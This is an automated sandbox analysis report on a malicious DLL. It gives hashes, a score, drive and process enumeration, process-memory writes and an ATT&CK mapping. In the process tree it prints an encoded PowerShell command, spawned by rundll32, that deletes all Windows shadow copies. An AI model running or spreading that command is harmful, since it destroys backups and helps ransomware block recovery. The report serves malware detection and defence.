578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1

Analysis

max time kernel
22s
max time network
25s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 12:54

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General

Target

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll
Size

164KB
MD5

722e15d85827d3ac13e56e8108688012
SHA1

cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34
SHA256

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1
SHA512

59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid process

4200 rundll32.exe
4200 rundll32.exe

pid	process
4200	rundll32.exe
4200	rundll32.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4884 wrote to memory of 4200	4884	rundll32.exe	rundll32.exe
PID 4884 wrote to memory of 4200	4884	rundll32.exe	rundll32.exe
PID 4884 wrote to memory of 4200	4884	rundll32.exe	rundll32.exe
PID 4200 wrote to memory of 544	4200	rundll32.exe	powershell.exe
PID 4200 wrote to memory of 544	4200	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4884

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
PID:544

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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